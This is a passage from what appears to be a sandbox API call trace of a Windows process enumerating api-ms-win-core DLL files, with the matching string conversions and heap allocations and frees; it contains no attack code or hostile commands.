lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0248.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xa8c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0248.720] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.720] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.720] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.720] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.720] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.720] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0248.720] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.720] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0248.720] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0xa8c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0248.720] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.720] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.720] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.720] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.720] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.720] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0248.720] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.720] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0248.720] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xa8c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0248.720] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.720] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.720] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.720] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.720] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.720] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.720] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.720] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0248.720] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa8c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0248.720] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.720] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.720] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.721] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.721] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.721] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.721] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.721] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0248.721] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xa8c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0248.721] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.721] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.721] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.721] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.721] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.721] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.721] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.721] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0248.721] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0xa8c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0248.721] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.721] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.721] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.721] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.721] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.721] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.721] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.721] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0248.721] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0xa8c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0248.721] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.721] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.721] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.721] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.722] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.722] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.722] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.722] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0248.722] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xa8c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0248.722] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.722] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.722] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.722] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.722] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.722] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.722] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.722] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0248.722] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0xa8c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0248.722] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.722] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.722] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.722] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.722] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.722] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0248.722] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.722] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0248.722] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0xa8c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0248.722] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.722] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.722] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.722] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.722] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.722] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.722] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.723] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0248.723] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xa8c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0248.723] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.723] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.723] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.723] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.723] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.723] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.723] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.723] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0248.723] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa8c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0248.723] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.723] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.723] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.723] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.723] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.723] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.723] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.723] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0248.723] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xa8c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0248.723] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.723] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.723] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.723] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.723] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.723] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.723] RtlAllocateHeap 